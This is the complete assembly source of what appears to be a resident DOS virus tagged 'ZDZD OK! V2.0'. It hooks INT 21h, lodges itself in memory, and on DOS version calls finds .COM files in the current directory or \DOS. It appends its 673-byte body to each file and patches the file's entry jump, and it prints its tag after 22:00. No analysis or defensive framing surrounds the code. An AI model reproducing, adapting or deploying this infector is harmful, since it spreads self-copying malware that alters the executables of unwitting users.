code segment
assume cs:code,ds:code
org 0h
begin :

push ax
push bx
push cx
push dx
push bp
push si
push di
push ds
push es

jmp zd
handle dw ?
jmp db 0e9h
message db 'ZDZD OK! V2.0   $'
len dw ?
real dw ?
dss dw ?
path db '*.com',0
fpath db '\dos\*.com',0
dos db '\dos\',13 dup(?)
no db 'Z'
hh dd 11112222h
tc db 2eh 
tc1 dw 2effh
tc2 dw 004ah
dta db 45 dup(?)

zd proc far

mov bx,cs
mov es,bx
mov ds,bx

push es 
mov bx,8d00h
mov es,bx
cmp byte ptr es:[0049h],'D'
pop es
je o1
jmp o
o1:
push es
mov bx,0
mov es,bx
cmp word ptr es:[86h],8d00h
pop es
je nochg
o:
save_21:
push es
mov ax,3521h
int 21h
mov di,offset hh
call oldlen
add di,ax
mov [di+2],bx
mov [di+2+2],es 
pop es

jmp zg
stop1:
jmp stop
zg:

mov ax,ds:[101h]
add ax,3
add ax,100h
mov si,ax
mov ax,8d00h
push es
mov es,ax 
mov di,0
mov cx,673
rep movsb
mov byte ptr es:[49h],'D'
pop es
push ds
mov ds,ax
mov ah,tc
mov byte ptr [di],ah
mov ax,tc1
mov word ptr [di+1],ax
mov ax,tc2
mov word ptr [di+3],ax
pop ds

chage_21h:
push ds
mov ax,8d00h
mov ds,ax
mov ax,2521h
mov dx,0
int 21h
pop ds

jmp stop

nochg:
mov bx,cs
cmp bx,8d00h
jne stop

cmp ah,30h
je n
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
jmp cs:hh

n:
mov dx,offset dta
mov ah,1ah
int 21h

mov ah,2ch
int 21h
cmp ch,22
jb fn
mov dx,offset fpath
jmp f
fn:   mov dx,offset path
f:
mov ah,4eh
mov cx,0
int 21h
 
start:
cmp ax,0002
jz stop
cmp ax,0003
je stop
cmp ax,0018
je stop

jmp open
stop:jmp bdend

open:
mov ah,2ch
int 21h
cmp ch,22
jb ro
mov di,offset dos +5
mov bx,offset dta +30
mov dx,offset dos
mov si,bx
mov cx,13
rep movsb
jmp roc
ro:  mov dx,offset dta +30
roc:
mov al,2
mov ah,3dh
int 21h
mov bx,ax
mov dx,offset handle
mov si,dx
mov [si],bx

readlen:
mov dx,offset dta+26
mov si,dx
mov bx,[si]
c:
mov dx,offset dss
mov si,dx
mov [si],bx
add bx,100h
sub bx,103h
mov dx,offset len
mov si,dx
mov [si],bx

read:
mov al,0
mov dx,1
mov cx,0
call seek
mov dx,offset handle
mov si,dx
mov bx,[si]
mov dx,offset real
mov ah,3fh
mov cx,2
int 21h

mov si,dx
push si
mov bx,[si]
add bx,103h
mov dx,offset dss
mov si,dx

mov dx,bx
sub dx,100h
add dx,673+3
cmp dx,[si]

jne ee
pop si
jmp close

ee:  push si
add [si],100h+673
sub bx,3
pop si
sub bx,[si]
pop si
mov [si],bx

writebd:
mov dx,0
mov cx,0
mov al,2
call seek
mov cx,673
mov dx,offset begin
call write

writee9:
mov dx,0
mov cx,0
mov al,2
call seek
mov cx,1
mov dx,offset jmp
call write

writejmp:
mov dx,1
mov cx,0
mov al,0
call seek
mov cx,2
mov dx,offset len
call write

writereal:
mov dx,0
mov cx,0
mov al,2
call seek
mov cx,2
mov dx,offset real
call write

close:
mov dx,offset handle
mov si,dx
mov ah,3eh
mov bx,[si]
int 21h
 
mov ah,2ch
int 21h
cmp ch,22
jb findnext

print:
mov dx,offset message
mov ah,09h
int 21h

findnext:

mov ah,2ch
int 21h
cmp ch,22
jb fnn
mov dx,offset fpath
jmp fff
fnn:   mov dx,offset path
fff:
mov ah,4fh
int 21h

jmp start

int 20h
zd endp

seek proc near
push ax
mov bx,offset handle 
mov si,bx
mov bx,[si]
pop ax
mov ah,42h
int 21h
ret
seek endp

oldlen proc near
mov ax,cs:[101h]
add ax,101h
ret
oldlen endp

write proc near
mov bx,offset handle
mov si,bx
mov ah,40h
mov bx,[si]
int 21h
ret
write endp

bdend:
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax

code ends
end begin